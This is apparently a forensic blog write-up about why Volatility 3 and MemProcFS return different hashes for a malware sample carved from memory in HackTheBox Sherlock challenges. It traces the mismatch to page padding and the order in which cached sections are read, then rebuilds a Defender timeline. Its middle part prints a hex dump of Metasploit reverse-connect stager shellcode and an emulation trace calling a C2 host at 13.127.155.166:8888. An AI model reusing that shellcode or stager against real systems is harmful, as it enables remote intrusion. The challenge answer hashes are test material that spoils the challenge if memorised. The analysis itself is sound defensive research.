wrong size wrong bytes
Important preposition
I am by no means an expert on this and could be totally wrong. Perhaps I am just chasing down a user error combined with AI-introduced hallucinations. If you know better or have additional insights, please reach out!
The setup
I solved and submitted RogueOne months ago. My writeup skips over a struggle I had with it at the time: I was not able to solve Task 03 and ended up messaging the author of the Sherlock about it, who told me to use vol3 instead of vol2.

This task did ask for the MD5 of the malicious svchost.exe. My writeup answers it by running vol3
dumpfiles --pid 6812 and hashing whatever comes out. Task 07 then has you look that hash up on
VirusTotal to find its first submission date. HTB accepted 5BD547C6F5BFC4858FE62C8867ACFBB5 as
the MD5, the sample
was already on VirusTotal, its first-submission date was the answer to Task 07, and the world
moved on.
RanDev (re-)release
Time went by, 2026 came along, LetsDefend got folded into HTB, and one of the first rereleases was RanDev. This sherlock had me stuck on the exact same type of task. It asks for the SHA256 of the ransomware sample, and the path looked just as obvious: dump the file, hash the file, submit the hash. This time I reached for MemProcFS instead of vol3 and the hash it gave me was, once again, not accepted. I remembered the RogueOne problem, dumped the same file with vol3 instead, and that hash went through.
Down the rabbit hole
That could have been the end of it. But: why would two forensic tools, carving the same file out of the same memory image, disagree at all? These are supposed to be the trustworthy building blocks for an IoC, not a coin flip.
Digging into the RanDev image: the on-disk size of the ransomware sample, R.exe, can be
confirmed independently - both the MFT record and the AmCache inventory size agree on
140426 bytes. The recovery from MemProcFS matches that size, and its SHA1 matches the one recorded in
AmCache exactly, so it really is the file that ran. The vol3 dump (with the hash that HTB actually wanted)
on the other hand, is 143360 bytes.

Reading the docs
The vol2 wiki apparently already documents the reason, right in the
dumpfiles section:
“Files may not be completely mapped in memory (also for performance), so missing sections are zero padded.”
Volatility 3 inherits the same behavior - its
get_available_pages()
places each subsection at its on-disk offset (StartingSector * 0x200) and then writes out
PtesInSubsection full PAGE_SIZE = 0x1000 (4096-byte) pages from there. The last section
therefore always comes back as whole pages, no matter how few bytes of it actually exist on
disk. This turns the 140426-byte file into 143360 bytes.
It is common enough to have tripped up other people on the same category of challenge:
I think forensicskween ran into it
on the CyberDefenders challenge BankingTroubles, where dumpfiles did not return a file matching the
expected hash.
It is a somewhat documented problem, too. The DFRWS EU 2020 paper by Uroz and Rodríguez,
On Challenges in Verifying Trusted Executable Files in Memory Forensics,
documents exactly this: both DataSectionObject and ImageSectionObject “may contain end
padding bytes by memory alignment issues,” and ImageSectionObject specifically holds the
image after the relocation pass of the loader has already run against it - which is also why
naively copying the bytes of an ImageSectionObject dump back to their on-disk section offsets
does not reproduce a byte-identical file either. “PE rebuilt failed or checksum mismatch” is
listed as one of the routine outcomes of their own verification plugin,
sigcheck, built to work around precisely this.

RogueOne revisited
After learning all of this, I went back to RogueOne and checked for the same size mismatch: the
file from the accepted solution is 10240 bytes, the real, trimmed svchost.exe is 7168. The last
section starts at on-disk offset 0x1800 and is only 0x400 bytes long, but vol3 writes
it out as a full page: 0x1800 + 0x1000 = 0x2800 = 10240. Exactly the kind of end-padding Uroz
and Rodríguez already put a name to. Case closed, have a nice evening, everybody is happy.
But then I trimmed the vol3 dump, pulled a second copy of the same file from the forensic file view (forensic/files) of MemProcFS,
and compared the two byte for byte.
They did not match.

Same size, wrong bytes
These two recovered files agree up to offset 6144 but the last 1024 bytes differ everywhere except the trailing zero-padding.
The file dumped by MemProcFS is not corrupted in some subtle way - it is 1024 bytes of 0x00.
Meanwhile this is from the vol3 dump (xxd -s 6144 -l 1024):
00001800: fc48 83e4 f0e8 cc00 0000 4151 4150 5251 .H........AQAPRQ
00001810: 4831 d256 6548 8b52 6048 8b52 1848 8b52 H1.VeH.R`H.R.H.R
00001820: 2048 0fb7 4a4a 4d31 c948 8b72 5048 31c0 H..JJM1.H.rPH1.
00001830: ac3c 617c 022c 2041 c1c9 0d41 01c1 e2ed .<a|., A...A....
00001840: 5241 5148 8b52 208b 423c 4801 d066 8178 RAQH.R .B<H..f.x
00001850: 180b 020f 8572 0000 008b 8088 0000 0048 .....r.........H
00001860: 85c0 7467 4801 d044 8b40 208b 4818 5049 ..tgH..D.@ .H.PI
00001870: 01d0 e356 4d31 c948 ffc9 418b 3488 4801 ...VM1.H..A.4.H.
00001880: d648 31c0 41c1 c90d ac41 01c1 38e0 75f1 .H1.A....A..8.u.
00001890: 4c03 4c24 0845 39d1 75d8 5844 8b40 2449 L.L$.E9.u.XD.@$I
000018a0: 01d0 6641 8b0c 4844 8b40 1c49 01d0 418b ..fA..HD.@.I..A.
000018b0: 0488 4158 4801 d041 585e 595a 4158 4159 ..AXH..AX^YZAXAY
000018c0: 415a 4883 ec20 4152 ffe0 5841 595a 488b AZH.. AR..XAYZH.
000018d0: 12e9 4bff ffff 5d49 be77 7332 5f33 3200 ..K...]I.ws2_32.
000018e0: 0041 5649 89e6 4881 eca0 0100 0049 89e5 .AVI..H......I..
000018f0: 49bc 0200 22b8 0d7f 9ba6 4154 4989 e44c I...".....ATI..L
00001900: 89f1 41ba 4c77 2607 ffd5 4c89 ea68 0101 ..A.Lw&...L..h..
00001910: 0000 5941 ba29 806b 00ff d56a 0a41 5e50 ..YA.).k...j.A^P
00001920: 504d 31c9 4d31 c048 ffc0 4889 c248 ffc0 PM1.M1.H..H..H..
00001930: 4889 c141 baea 0fdf e0ff d548 89c7 6a10 H..A.......H..j.
00001940: 4158 4c89 e248 89f9 41ba 99a5 7461 ffd5 AXL..H..A...ta..
00001950: 85c0 740a 49ff ce75 e5e8 9300 0000 4883 ..t.I..u......H.
00001960: ec10 4889 e24d 31c9 6a04 4158 4889 f941 ..H..M1.j.AXH..A
00001970: ba02 d9c8 5fff d583 f800 7e55 4883 c420 ...._.....~UH..
00001980: 5e89 f66a 4041 5968 0010 0000 4158 4889 ^..j@AYh....AXH.
00001990: f248 31c9 41ba 58a4 53e5 ffd5 4889 c349 .H1.A.X.S...H..I
000019a0: 89c7 4d31 c949 89f0 4889 da48 89f9 41ba ..M1.I..H..H..A.
000019b0: 02d9 c85f ffd5 83f8 007d 2858 4157 5968 ..._.....}(XAWYh
000019c0: 0040 0000 4158 6a00 5a41 ba0b 2f0f 30ff .@..AXj.ZA../.0.
000019d0: d557 5941 ba75 6e4d 61ff d549 ffce e93c .WYA.unMa..I...<
000019e0: ffff ff48 01c3 4829 c648 85f6 75b4 41ff ...H..H).H..u.A.
000019f0: e758 6a00 5949 c7c2 f0b5 a256 ffd5 0000 .Xj.YI.....V....
00001a00: 2842 0000 0000 0000 ffff ffff 4042 0000 (B..........@B..
00001a10: 0030 0000 0000 0000 0000 0000 0000 0000 .0..............
00001a20: 0000 0000 0000 0000 4e42 0000 0000 0000 ........NB......
00001a30: 5e42 0000 0000 0000 0000 0000 0000 0000 ^B..............
00001a40: 4b45 524e 454c 3332 2e64 6c6c 0000 5804 KERNEL32.dll..X.
00001a50: 5669 7274 7561 6c41 6c6c 6f63 0000 0501 VirtualAlloc....
00001a60: 4578 6974 5072 6f63 6573 7300 0000 0000 ExitProcess.....
00001a70: 0000 0000 0800 0000 0000 0000 0000 0000 ................
00001a80: 0000 0000 0000 0000 0000 0000 0000 0000 ................
[ ... zero-padding out to the end of the section ... ]
00001bf0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
Follow the white rabbit
Besides the plaintext KERNEL32.dll, VirtualAlloc, ExitProcess strings, this looks like
some shellcode I recognise: the opening of a Metasploit block_api stub, the PEB-walking
export-hash resolver almost every windows/x64/meterpreter/* payload starts with.
Running it through speakeasy confirms what it does
without needing to disassemble any further by hand: it fetches its next stage from
13.127.155.166:8888: exactly the C2 RogueOne Task 04 already asked about.
* exec: shellcode
0x110a: 'kernel32.LoadLibraryA("ws2_32")' -> 0x78c00000
0x111b: 'ws2_32.WSAStartup(0x101, 0x1203e08)' -> 0x0
0x113b: 'ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", 0x0, 0x0, 0x0, 0x0)' -> 0x4
0x1150: 'ws2_32.connect(0x4, "13.127.155.166:8888", 0x10)' -> 0x0
0x1177: 'ws2_32.recv(0x4, 0x1203d60, 0x4, 0x0)' -> 0x4
0x119c: 'kernel32.VirtualAlloc(0x0, 0x8, 0x1000, "PAGE_EXECUTE_READWRITE")' -> 0x50000
0x11b6: 'ws2_32.recv(0x4, 0x50000, 0x8, 0x0)' -> 0x8
0x50008: Unhandled interrupt: intnum=0x3
0x50008: shellcode: Caught error: unhandled_interrupt
* Finished emulating
Cache rules everything around Me(mory)
(this heading was shamelessly stolen from the Volatility Labs blog)
Both tools pull file content from the same generic Windows mechanism.
The FILE_OBJECT
is a Windows kernel object used to track each instance of an open file. It stores a pointer
to a SECTION_OBJECT_POINTERS structure. That structure can in turn point to a
DataSectionObject (if the file has been mapped as data), an ImageSectionObject (only if the
file was ever mapped for execution), and/or a SharedCacheMap (if the Cache Manager has it
cached) - any combination of the three can be present at once.

The vol3 module windows.dumpfiles dumps each of the three backings it finds as a separate
file - which is why the intact ImageSectionObject copy was there to find in the first place.
The forensic file module of MemProcFS (vmm/modules/m_fc_file.c,
vmm/vmmwinobj.c) resolves
the same three sources into a single file, in a fixed priority order: Cache > Data > Image.
It stops trying further sources for a page as soon as one of them reports it filled (even with zeros).
For svchost.exe in RogueOne, that means the forensic file view of MemProcFS took the .xcss
page from a source that only held zeros and never got to the ImageSectionObject, where the
shellcode was still sitting.
Another view, another hash
MemProcFS has more than one way to get to the same file, so I also pulled svchost.exe from
the process folder of PID 6812. Same size again (7168 bytes), different hash again
(08D13FEB7171E6A62A693A3248C2BB3A).
| Section (raw offset) | vol3 (trimmed) | MemProcFS forensic file | MemProcFS PID 6812 |
|---|---|---|---|
Headers (0x0000) | present | present | present |
.text (0x0400) | zeros | zeros | zeros |
.rdata (0x1600) | zeros | zeros | present |
.xcss (0x1800) | shellcode | zeros | shellcode |
So the process view of MemProcFS does get the shellcode, the forensic file view does not. My guess is the file was deleted on disk by defender (see next section for more wtf) and this is why the forensic file recovery returns 0x00 for these sections.
The PID 6812 copy is exactly the vol3 copy plus .rdata:
copying its .rdata into the vol3 file gives the same hash.
But that .rdata comes straight from the memory of the running process:
the first 16 bytes are the Import Address Table, already filled by the loader with the runtime
addresses of ExitProcess and VirtualAlloc (0x7FFDC4198CD0, 0x7FFDC419E860) instead of the
values stored on disk.
And none of the three has the .text section. The entry point of the PE is RVA 0x4000 (the
start of .xcss) so the shellcode runs directly and the 0x1200 bytes of template code in
.text were most likely never paged in. Nothing to recover there, with any tool, i guess?
Defender knew all along
Every recovery so far was missing something, so I stopped looking for the file and looked for
Windows Defender logs. It was running on the box, and part of its folder was still in memory,
including MPLog-20230307-175046.log. Well, only kindof, only some pages of it, the
rest was 0x00. Enough to find the detection, not enough to find the hash: the one line that
should carry it (SDN:Issuing SDN query for ... (sha1=..., sha2=...)) was cut right at a page
boundary, leaving only ...fbb68ff3605adcf1f87a136cbc).
So instead of the cached file I carved the whole memory image: The hash fragment turned up in full three times, inside a Defender threat tracking record for PID 936:
ThreatTrackingThreatName Trojan:Win64/Metasploit.CRTD!MTB
ThreatTrackingSize 0x1C00 (7168 bytes)
ThreatTrackingMD5 0018652816da4a0a6ce4f407844dfcd1
ThreatTrackingSha1 7d83f494f971646c30bd006b1901a670de441a66
ThreatTrackingSha256 86d73804c1bcc9c736b7c8db4c75acea42522bfbb68ff3605adcf1f87a136cbc
ThreatTrackingStartTime 2023-08-10 11:26:41.274 UTC
Defender hashed the file on disk itself and the size matches the section table exactly. None of the four hashes from the extracted files is it.
Wait, PID 936? The Sherlock only ever talks about PID 6812. The carved log tells the rest of
the story: svchost.exe already ran once, a few minutes earlier. Defender caught that first run
with a memory scan, confirmed it with a cloud query and quarantined the file at 11:27:27.
Two minutes later, the same signature that matched svchost.exe fires again, and one second
after that:
2023-08-10T11:29:20.209Z Path exclusion changed, new size in bytes: 96
2023-08-10T11:29:20.209Z [RtpConfig] Config change detected, type: 1024
The exclusion lists were empty when the Defender service started at 11:24:47. Forty seconds
after the new exclusion, svchost.exe runs again as PID 6812 - and this time nothing stops
it.

Timeline
All times UTC, 2023-08-10.
| Time | Event | Source |
|---|---|---|
| 11:22:31 | svchost.exe from C:\Users\simon.stark\Downloads starts as PID 936 | MPLog (ProcessStart) |
| 11:24:47 | Defender service restarts after a platform update (4.18.23070.1004), all exclusion lists empty | MPLog |
| 11:26:36 | Defender memory scan flags PID 936: Trojan:Win32/Meterpreter.A!!Meterpreter.gen!A | MPLog |
| 11:26:41 | Cloud query for the file, threat tracking record with MD5, SHA1, SHA256 and size | MPLog, threat tracking |
| 11:27:26 | Resource scan of the file and PID 936: Trojan:Win64/Metasploit.CRTD!MTB | MPLog |
| 11:27:27 | Action: quarantine | MPLog |
| 11:29:19 | Same signature (Sigseq=0x62784f7b47d1) evaluated again | MPLog |
| 11:29:20 | Path exclusion added (96 bytes), real-time protection config reloaded | MPLog |
| 11:30:03 | svchost.exe starts again as PID 6812 and connects to 13.127.155.166:8888 | vol3 netscan, pstree |
| 11:30:57 | PID 6812 spawns cmd.exe (PID 4364) | vol3 pstree |
| 11:58:10 | The padded dump is first submitted to VirusTotal (presumably by the author) | VirusTotal |
So what?
Same file, same memory image, four different hashes - and a fifth one from Defender:
| MD5 | Source | Size | What it is |
|---|---|---|---|
5BD547C6F5BFC4858FE62C8867ACFBB5 | vol3 dumpfiles, ImageSectionObject, as-is | 10240 | page-padded dump, accepted by HTB, on VirusTotal |
D04F7C150586DDBDD3435AF0336B44CA | the same vol3 dump, trimmed to the section table | 7168 | headers + .xcss shellcode, .text and .rdata zeroed |
9BCEE5A7C03F7FBA350912ABEC97BB56 | MemProcFS, forensic file view | 7168 | headers only, everything else zeroed |
08D13FEB7171E6A62A693A3248C2BB3A | MemProcFS, process folder of PID 6812 | 7168 | headers + .rdata (runtime IAT) + .xcss shellcode |
0018652816DA4A0A6CE4F407844DFCD1 | Defender threat tracking record (PID 936) | 7168 | the real file, hashed on disk by Defender |
None of the four recoveries is the file that sat on the disk of simon.stark.
The .text section is missing from every single one, and the only copy with .rdata
carries import addresses the loader wrote at runtime.
The one hash that made it to VirusTotal and into the Sherlock is the least
“file-like” of the four: 3072 bytes of padding that only exist because of how vol3 writes
pages. As an IoC it is somewhat useless: sweeping other hosts for it will never hit anything.
5BD547C6F5BFC4858FE62C8867ACFBB5 is the answer HTB wanted (for RogueOne).D04F7C150586DDBDD3435AF0336B44CA is the closest I get to the file with the known memory tools - but still wrong.0018652816DA4A0A6CE4F407844DFCD1 is the file that actually ran (according to Defender).